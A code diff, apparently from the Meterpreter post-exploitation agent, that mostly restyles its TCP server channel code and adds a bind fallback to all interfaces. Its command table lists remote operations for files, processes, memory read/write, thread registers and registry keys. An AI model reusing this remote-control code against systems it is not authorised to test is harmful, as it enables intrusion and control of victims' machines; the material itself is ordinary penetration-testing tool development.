clientctx->remote = serverCtx->remote;
|
||||
clientctx->fd = sock;
|
||||
|
||||
clientctx->notify = WSACreateEvent();
|
||||
if( clientctx->notify == WSA_INVALID_EVENT )
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed" );
|
||||
if (clientctx->notify == WSA_INVALID_EVENT)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed");
|
||||
}
|
||||
|
||||
if( WSAEventSelect( clientctx->fd, clientctx->notify, FD_READ|FD_CLOSE ) == SOCKET_ERROR )
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed" );
|
||||
if (WSAEventSelect(clientctx->fd, clientctx->notify, FD_READ | FD_CLOSE) == SOCKET_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed");
|
||||
}
|
||||
|
||||
memset( &chops, 0, sizeof(StreamChannelOps) );
|
||||
memset(&chops, 0, sizeof(StreamChannelOps));
|
||||
|
||||
chops.native.context = clientctx;
|
||||
chops.native.write = tcp_channel_client_write;
|
||||
chops.native.close = tcp_channel_client_close;
|
||||
|
||||
clientctx->channel = channel_create_stream( 0, 0, &chops );
|
||||
if( !clientctx->channel )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE );
|
||||
chops.native.write = tcp_channel_client_write;
|
||||
chops.native.close = tcp_channel_client_close;
|
||||
|
||||
dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( dwResult != ERROR_SUCCESS )
|
||||
{
|
||||
if( clientctx )
|
||||
clientctx->channel = channel_create_stream(0, 0, &chops);
|
||||
if (!clientctx->channel)
|
||||
{
|
||||
free( clientctx );
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
dwResult = scheduler_insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
|
||||
|
||||
} while (0);
|
||||
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
{
|
||||
if (clientctx)
|
||||
{
|
||||
free(clientctx);
|
||||
clientctx = NULL;
|
||||
}
|
||||
}
|
||||
@ -121,178 +148,250 @@ TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverct
|
||||
return clientctx;
|
||||
}
|
||||
|
||||
/*
|
||||
* Notify routine for a tcp server channel to pick up its new client connections.
|
||||
/*!
|
||||
* @brief Notify routine for a tcp server channel to pick up its new client connections..
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @param serverCtx Pointer to the TCP server context.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS Notification completed successfully.
|
||||
*/
|
||||
DWORD tcp_channel_server_notify( Remote * remote, TcpServerContext * serverctx )
|
||||
DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
TcpClientContext * clientctx = NULL;
|
||||
Packet * request = NULL;
|
||||
SOCKADDR_IN clientaddr = {0};
|
||||
SOCKADDR_IN serveraddr = {0};
|
||||
SOCKET sock = 0;
|
||||
DWORD size = 0;
|
||||
char * localhost = NULL;
|
||||
char * peerhost = NULL;
|
||||
int localport = 0;
|
||||
int peerport = 0;
|
||||
Packet * request = NULL;
|
||||
SOCKADDR_IN clientaddr = { 0 };
|
||||
SOCKADDR_IN serveraddr = { 0 };
|
||||
SOCKET sock = 0;
|
||||
DWORD size = 0;
|
||||
char * localhost = NULL;
|
||||
char * peerhost = NULL;
|
||||
int localport = 0;
|
||||
int peerport = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !serverctx )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_notify. serverctx == NULL", ERROR_INVALID_HANDLE );
|
||||
|
||||
ResetEvent( serverctx->notify );
|
||||
|
||||
size = sizeof(SOCKADDR);
|
||||
|
||||
sock = accept( serverctx->fd, (SOCKADDR *)&clientaddr, &size );
|
||||
if( sock == INVALID_SOCKET )
|
||||
if (!serverCtx)
|
||||
{
|
||||
if( WSAGetLastError() == WSAEWOULDBLOCK )
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
ResetEvent(serverCtx->notify);
|
||||
|
||||
size = sizeof(SOCKADDR_IN);
|
||||
|
||||
sock = accept(serverCtx->fd, (SOCKADDR *)&clientaddr, &size);
|
||||
if (sock == INVALID_SOCKET)
|
||||
{
|
||||
if (WSAGetLastError() == WSAEWOULDBLOCK)
|
||||
{
|
||||
Sleep( 100 );
|
||||
Sleep(100);
|
||||
break;
|
||||
}
|
||||
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_notify. accept failed" );
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed");
|
||||
}
|
||||
|
||||
dprintf( "[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverctx->channel), sock );
|
||||
dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock);
|
||||
|
||||
clientctx = tcp_channel_server_create_client(serverCtx, sock);
|
||||
if (!clientctx)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
clientctx = tcp_channel_server_create_client( serverctx, sock );
|
||||
if( !clientctx )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE );
|
||||
|
||||
size = sizeof(SOCKADDR);
|
||||
|
||||
if( getsockname( serverctx->fd, (SOCKADDR *)&serveraddr, &size ) == SOCKET_ERROR )
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed" );
|
||||
if (getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed");
|
||||
}
|
||||
|
||||
localhost = inet_ntoa( serveraddr.sin_addr );
|
||||
if( !localhost )
|
||||
localhost = inet_ntoa(serveraddr.sin_addr);
|
||||
if (!localhost)
|
||||
{
|
||||
localhost = "";
|
||||
}
|
||||
|
||||
localport = ntohs( serveraddr.sin_port );
|
||||
localport = ntohs(serveraddr.sin_port);
|
||||
|
||||
peerhost = inet_ntoa( clientaddr.sin_addr );
|
||||
if( !peerhost )
|
||||
peerhost = inet_ntoa(clientaddr.sin_addr);
|
||||
if (!peerhost)
|
||||
{
|
||||
peerhost = "";
|
||||
}
|
||||
|
||||
peerport = ntohs( clientaddr.sin_port );
|
||||
|
||||
dprintf( "[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport );
|
||||
peerport = ntohs(clientaddr.sin_port);
|
||||
|
||||
request = packet_create( PACKET_TLV_TYPE_REQUEST, "tcp_channel_open" );
|
||||
if( !request )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
packet_add_tlv_uint( request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel) );
|
||||
packet_add_tlv_uint( request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverctx->channel) );
|
||||
packet_add_tlv_string( request, TLV_TYPE_LOCAL_HOST, localhost );
|
||||
packet_add_tlv_uint( request, TLV_TYPE_LOCAL_PORT, localport );
|
||||
packet_add_tlv_string( request, TLV_TYPE_PEER_HOST, peerhost );
|
||||
packet_add_tlv_uint( request, TLV_TYPE_PEER_PORT, peerport );
|
||||
dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport);
|
||||
|
||||
dwResult = packet_transmit( serverctx->remote, request, NULL );
|
||||
request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open");
|
||||
if (!request)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel));
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel));
|
||||
packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost);
|
||||
packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport);
|
||||
packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
|
||||
packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);
|
||||
|
||||
dwResult = packet_transmit(serverCtx->remote, request, NULL);
|
||||
|
||||
} while (0);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Allocates a streaming TCP server channel
|
||||
/*!
|
||||
* @brief Allocates a streaming TCP server channel.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @param packet Pointer to the request packet.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS Opening the server channel completed successfully.
|
||||
*/
|
||||
DWORD request_net_tcp_server_channel_open( Remote * remote, Packet * packet )
|
||||
DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
TcpServerContext * ctx = NULL;
|
||||
Packet * response = NULL;
|
||||
char * lhost = NULL;
|
||||
SOCKADDR_IN saddr = {0};
|
||||
StreamChannelOps chops = {0};
|
||||
USHORT lport = 0;
|
||||
Packet * response = NULL;
|
||||
char * lhost = NULL;
|
||||
SOCKADDR_IN saddr = { 0 };
|
||||
StreamChannelOps chops = { 0 };
|
||||
USHORT lport = 0;
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response( packet );
|
||||
if( !response )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
|
||||
|
||||
ctx = (TcpServerContext *)malloc( sizeof(TcpServerContext) );
|
||||
if( !ctx )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY );
|
||||
response = packet_create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext));
|
||||
if (!ctx)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
memset(ctx, 0, sizeof(TcpServerContext));
|
||||
|
||||
memset( ctx, 0, sizeof(TcpServerContext) );
|
||||
|
||||
ctx->remote = remote;
|
||||
|
||||
lport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF );
|
||||
if( !lport )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. lport == NULL", ERROR_INVALID_HANDLE );
|
||||
lport = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
|
||||
if (!lport)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. lport == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST );
|
||||
if( !lhost )
|
||||
lhost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);
|
||||
if (!lhost)
|
||||
{
|
||||
lhost = "0.0.0.0";
|
||||
}
|
||||
|
||||
ctx->fd = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
|
||||
if( ctx->fd == INVALID_SOCKET )
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed" );
|
||||
ctx->fd = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
|
||||
if (ctx->fd == INVALID_SOCKET)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed");
|
||||
}
|
||||
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons( lport );
|
||||
saddr.sin_addr.s_addr = inet_addr( lhost );
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(lport);
|
||||
saddr.sin_addr.s_addr = inet_addr(lhost);
|
||||
|
||||
if( bind( ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR) ) == SOCKET_ERROR )
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. bind failed" );
|
||||
if (bind(ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
dwResult = WSAGetLastError();
|
||||
if (dwResult != WSAEADDRNOTAVAIL)
|
||||
#else
|
||||
dwResult = errno;
|
||||
if (dwResult != EADDRNOTAVAIL)
|
||||
#endif
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
|
||||
}
|
||||
|
||||
dprintf("[TCP-SERVER] Failed to bind to %s, trying 0.0.0.0 ...", lhost);
|
||||
|
||||
// try again, but this time bind to any/all interfaces.
|
||||
lhost = "0.0.0.0";
|
||||
saddr.sin_addr.s_addr = inet_addr(lhost);
|
||||
if (bind(ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
|
||||
}
|
||||
dwResult = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed");
|
||||
}
|
||||
|
||||
if( listen( ctx->fd, SOMAXCONN ) == SOCKET_ERROR )
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. listen failed" );
|
||||
|
||||
ctx->notify = WSACreateEvent();
|
||||
if( ctx->notify == WSA_INVALID_EVENT )
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed" );
|
||||
if (ctx->notify == WSA_INVALID_EVENT)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed");
|
||||
}
|
||||
|
||||
if( WSAEventSelect( ctx->fd, ctx->notify, FD_ACCEPT ) == SOCKET_ERROR )
|
||||
BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed" );
|
||||
if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed");
|
||||
}
|
||||
|
||||
memset( &chops, 0, sizeof(StreamChannelOps) );
|
||||
memset(&chops, 0, sizeof(StreamChannelOps));
|
||||
chops.native.context = ctx;
|
||||
chops.native.close = tcp_channel_server_close;
|
||||
chops.native.close = tcp_channel_server_close;
|
||||
|
||||
ctx->channel = channel_create_stream( 0, CHANNEL_FLAG_SYNCHRONOUS, &chops );
|
||||
if( !ctx->channel )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
|
||||
ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
|
||||
if (!ctx->channel)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL );
|
||||
scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);
|
||||
|
||||
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel) );
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));
|
||||
|
||||
dprintf( "[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", lhost, lport, channel_get_id(ctx->channel) );
|
||||
dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", lhost, lport, channel_get_id(ctx->channel));
|
||||
|
||||
} while( 0 );
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response( dwResult, remote, response );
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
|
||||
do
|
||||
{
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
if (dwResult == ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if( !ctx )
|
||||
dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult);
|
||||
|
||||
if (!ctx)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if( ctx->fd )
|
||||
closesocket( ctx->fd );
|
||||
|
||||
if( ctx->channel )
|
||||
channel_destroy( ctx->channel, packet );
|
||||
if (ctx->fd)
|
||||
{
|
||||
dprintf("[TCP-SERVER] Destroying socket");
|
||||
closesocket(ctx->fd);
|
||||
}
|
||||
|
||||
free( ctx );
|
||||
if (ctx->channel)
|
||||
{
|
||||
dprintf("[TCP-SERVER] Destroying channel");
|
||||
channel_destroy(ctx->channel, packet);
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
free(ctx);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
@ -39,16 +39,16 @@
|
||||
#define WSAECONNABORTED ECONNABORTED
|
||||
|
||||
#define BREAK_WITH_ERROR(format, args...) \
|
||||
do { \
|
||||
{ \
|
||||
dprintf(format, ## args); \
|
||||
exit(0); \
|
||||
} while(0) \
|
||||
break; \
|
||||
} \
|
||||
|
||||
#define BREAK_ON_WSAERROR(format, args...) \
|
||||
do { \
|
||||
{ \
|
||||
dprintf(format, ## args); \
|
||||
abort(); \
|
||||
} while(0) \
|
||||
break; \
|
||||
} \
|
||||
|
||||
#define Sleep(x) usleep(x * 1000)
|
||||
#define WSASocket(a,b,c,d,e,f) socket(a,b,c)
|
||||
|
@ -21,149 +21,150 @@ extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
|
||||
Command customCommands[] =
|
||||
{
|
||||
// General
|
||||
COMMAND_REQ( "core_channel_open", request_general_channel_open ),
|
||||
COMMAND_REQ("core_channel_open", request_general_channel_open),
|
||||
|
||||
#ifdef WIN32
|
||||
// Railgun
|
||||
COMMAND_REQ( "stdapi_railgun_api", request_railgun_api ),
|
||||
COMMAND_REQ( "stdapi_railgun_api_multi", request_railgun_api_multi ),
|
||||
COMMAND_REQ( "stdapi_railgun_memread", request_railgun_memread ),
|
||||
COMMAND_REQ( "stdapi_railgun_memwrite", request_railgun_memwrite ),
|
||||
COMMAND_REQ("stdapi_railgun_api", request_railgun_api),
|
||||
COMMAND_REQ("stdapi_railgun_api_multi", request_railgun_api_multi),
|
||||
COMMAND_REQ("stdapi_railgun_memread", request_railgun_memread),
|
||||
COMMAND_REQ("stdapi_railgun_memwrite", request_railgun_memwrite),
|
||||
#endif
|
||||
|
||||
// Fs
|
||||
COMMAND_REQ( "stdapi_fs_ls", request_fs_ls ),
|
||||
COMMAND_REQ( "stdapi_fs_getwd", request_fs_getwd ),
|
||||
COMMAND_REQ( "stdapi_fs_chdir", request_fs_chdir ),
|
||||
COMMAND_REQ( "stdapi_fs_mkdir", request_fs_mkdir ),
|
||||
COMMAND_REQ( "stdapi_fs_delete_dir", request_fs_delete_dir ),
|
||||
COMMAND_REQ( "stdapi_fs_delete_file", request_fs_delete_file ),
|
||||
COMMAND_REQ( "stdapi_fs_separator", request_fs_separator ),
|
||||
COMMAND_REQ( "stdapi_fs_stat", request_fs_stat ),
|
||||
COMMAND_REQ( "stdapi_fs_file_expand_path", request_fs_file_expand_path ),
|
||||
COMMAND_REQ( "stdapi_fs_file_move", request_fs_file_move ),
|
||||
COMMAND_REQ( "stdapi_fs_md5", request_fs_md5 ),
|
||||
COMMAND_REQ( "stdapi_fs_sha1", request_fs_sha1 ),
|
||||
COMMAND_REQ("stdapi_fs_ls", request_fs_ls),
|
||||
COMMAND_REQ("stdapi_fs_getwd", request_fs_getwd),
|
||||
COMMAND_REQ("stdapi_fs_chdir", request_fs_chdir),
|
||||
COMMAND_REQ("stdapi_fs_mkdir", request_fs_mkdir),
|
||||
COMMAND_REQ("stdapi_fs_delete_dir", request_fs_delete_dir),
|
||||
COMMAND_REQ("stdapi_fs_delete_file", request_fs_delete_file),
|
||||
COMMAND_REQ("stdapi_fs_separator", request_fs_separator),
|
||||
COMMAND_REQ("stdapi_fs_stat", request_fs_stat),
|
||||
COMMAND_REQ("stdapi_fs_file_expand_path", request_fs_file_expand_path),
|
||||
COMMAND_REQ("stdapi_fs_file_move", request_fs_file_move),
|
||||
COMMAND_REQ("stdapi_fs_md5", request_fs_md5),
|
||||
COMMAND_REQ("stdapi_fs_sha1", request_fs_sha1),
|
||||
#ifdef _WIN32
|
||||
COMMAND_REQ( "stdapi_fs_search", request_fs_search ),
|
||||
COMMAND_REQ("stdapi_fs_search", request_fs_search),
|
||||
#endif
|
||||
|
||||
// Process
|
||||
COMMAND_REQ( "stdapi_sys_process_attach", request_sys_process_attach ),
|
||||
COMMAND_REQ( "stdapi_sys_process_close", request_sys_process_close ),
|
||||
COMMAND_REQ( "stdapi_sys_process_execute", request_sys_process_execute ),
|
||||
COMMAND_REQ( "stdapi_sys_process_kill", request_sys_process_kill ),
|
||||
COMMAND_REQ( "stdapi_sys_process_get_processes", request_sys_process_get_processes ),
|
||||
COMMAND_REQ( "stdapi_sys_process_getpid", request_sys_process_getpid ),
|
||||
COMMAND_REQ( "stdapi_sys_process_get_info", request_sys_process_get_info ),
|
||||
COMMAND_REQ( "stdapi_sys_process_wait", request_sys_process_wait ),
|
||||
COMMAND_REQ("stdapi_sys_process_attach", request_sys_process_attach),
|
||||
COMMAND_REQ("stdapi_sys_process_close", request_sys_process_close),
|
||||
COMMAND_REQ("stdapi_sys_process_execute", request_sys_process_execute),
|
||||
COMMAND_REQ("stdapi_sys_process_kill", request_sys_process_kill),
|
||||
COMMAND_REQ("stdapi_sys_process_get_processes", request_sys_process_get_processes),
|
||||
COMMAND_REQ("stdapi_sys_process_getpid", request_sys_process_getpid),
|
||||
COMMAND_REQ("stdapi_sys_process_get_info", request_sys_process_get_info),
|
||||
COMMAND_REQ("stdapi_sys_process_wait", request_sys_process_wait),
|
||||
|
||||
#ifdef _WIN32
|
||||
// Image
|
||||
COMMAND_REQ( "stdapi_sys_process_image_load", request_sys_process_image_load ),
|
||||
COMMAND_REQ( "stdapi_sys_process_image_get_proc_address", request_sys_process_image_get_proc_address ),
|
||||
COMMAND_REQ( "stdapi_sys_process_image_unload", request_sys_process_image_unload ),
|
||||
COMMAND_REQ( "stdapi_sys_process_image_get_images", request_sys_process_image_get_images ),
|
||||
COMMAND_REQ("stdapi_sys_process_image_load", request_sys_process_image_load),
|
||||
COMMAND_REQ("stdapi_sys_process_image_get_proc_address", request_sys_process_image_get_proc_address),
|
||||
COMMAND_REQ("stdapi_sys_process_image_unload", request_sys_process_image_unload),
|
||||
COMMAND_REQ("stdapi_sys_process_image_get_images", request_sys_process_image_get_images),
|
||||
|
||||
// Memory
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_allocate", request_sys_process_memory_allocate ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_free", request_sys_process_memory_free ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_read", request_sys_process_memory_read ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_write", request_sys_process_memory_write ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_query", request_sys_process_memory_query ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_protect", request_sys_process_memory_protect ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_lock", request_sys_process_memory_lock ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_unlock", request_sys_process_memory_unlock ),
|
||||
COMMAND_REQ("stdapi_sys_process_memory_allocate", request_sys_process_memory_allocate),
|
||||
COMMAND_REQ("stdapi_sys_process_memory_free", request_sys_process_memory_free),
|
||||
COMMAND_REQ("stdapi_sys_process_memory_read", request_sys_process_memory_read),
|
||||
COMMAND_REQ("stdapi_sys_process_memory_write", request_sys_process_memory_write),
|
||||
COMMAND_REQ("stdapi_sys_process_memory_query", request_sys_process_memory_query),
|
||||
COMMAND_REQ("stdapi_sys_process_memory_protect", request_sys_process_memory_protect),
|
||||
COMMAND_REQ("stdapi_sys_process_memory_lock", request_sys_process_memory_lock),
|
||||
COMMAND_REQ("stdapi_sys_process_memory_unlock", request_sys_process_memory_unlock),
|
||||
|
||||
// Thread
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_open", request_sys_process_thread_open ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_create", request_sys_process_thread_create ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_close", request_sys_process_thread_close ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_get_threads", request_sys_process_thread_get_threads ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_suspend", request_sys_process_thread_suspend ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_resume", request_sys_process_thread_resume ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_terminate", request_sys_process_thread_terminate ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_query_regs", request_sys_process_thread_query_regs ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_set_regs", request_sys_process_thread_set_regs ),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_open", request_sys_process_thread_open),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_create", request_sys_process_thread_create),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_close", request_sys_process_thread_close),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_get_threads", request_sys_process_thread_get_threads),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_suspend", request_sys_process_thread_suspend),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_resume", request_sys_process_thread_resume),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_terminate", request_sys_process_thread_terminate),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_query_regs", request_sys_process_thread_query_regs),
|
||||
COMMAND_REQ("stdapi_sys_process_thread_set_regs", request_sys_process_thread_set_regs),
|
||||
|
||||
// Registry
|
||||
COMMAND_REQ( "stdapi_registry_check_key_exists", request_registry_check_key_exists ),
|
||||
COMMAND_REQ( "stdapi_registry_load_key", request_registry_load_key ),
|
||||
COMMAND_REQ( "stdapi_registry_unload_key", request_registry_unload_key ),
|
||||
COMMAND_REQ( "stdapi_registry_open_key", request_registry_open_key ),
|
||||
COMMAND_REQ( "stdapi_registry_open_remote_key", request_registry_open_remote_key ),
|
||||
COMMAND_REQ( "stdapi_registry_create_key", request_registry_create_key ),
|
||||
COMMAND_REQ( "stdapi_registry_enum_key", request_registry_enum_key ),
|
||||
COMMAND_REQ( "stdapi_registry_delete_key", request_registry_delete_key ),
|
||||
COMMAND_REQ( "stdapi_registry_close_key", request_registry_close_key ),
|
||||
COMMAND_REQ( "stdapi_registry_set_value", request_registry_set_value ),
|
||||
COMMAND_REQ( "stdapi_registry_query_value", request_registry_query_value ),
|
||||
COMMAND_REQ( "stdapi_registry_query_class", request_registry_query_class ),
|
||||
COMMAND_REQ( "stdapi_registry_enum_value", request_registry_enum_value ),
|
||||
COMMAND_REQ( "stdapi_registry_delete_value", request_registry_delete_value ),
|
||||
COMMAND_REQ("stdapi_registry_check_key_exists", request_registry_check_key_exists),
|
||||
COMMAND_REQ("stdapi_registry_load_key", request_registry_load_key),
|
||||
COMMAND_REQ("stdapi_registry_unload_key", request_registry_unload_key),
|
||||
COMMAND_REQ("stdapi_registry_open_key", request_registry_open_key),
|
||||
COMMAND_REQ("stdapi_registry_open_remote_key", request_registry_open_remote_key),
|
||||
COMMAND_REQ("stdapi_registry_create_key", request_registry_create_key),
|
||||
